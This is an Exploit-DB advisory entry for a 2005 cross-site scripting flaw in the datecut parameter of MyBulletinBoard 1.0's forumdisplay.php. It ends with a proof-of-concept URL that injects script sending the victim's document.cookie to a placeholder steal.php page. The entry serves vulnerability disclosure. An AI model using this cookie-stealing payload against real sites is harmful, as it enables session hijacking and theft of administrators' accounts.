MyBulletinBoard 1.0 Forumdisplay.PHP Cross-Site Scripting Vulnerability

2005-09-06T00:00:00
ID EDB-ID:26227
Type exploitdb
Reporter Dominic.Parikh
Modified 2005-09-06T00:00:00

Description

MyBulletinBoard 1.0 Forumdisplay.PHP Cross-Site Scripting Vulnerability. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/14754/info

MyBulletinBoard is prone to a cross-site scripting vulnerability. This is due to a lack of proper sanitization of user-supplied input to the application.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting administrative user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forumdisplay.php?fid=2&datecut=<http://www.forum.com/forumdisplay.php?fid=2&datecut=>""><script>window.location="http://www.example.com/steal.php?cookie="+document.cookie</script>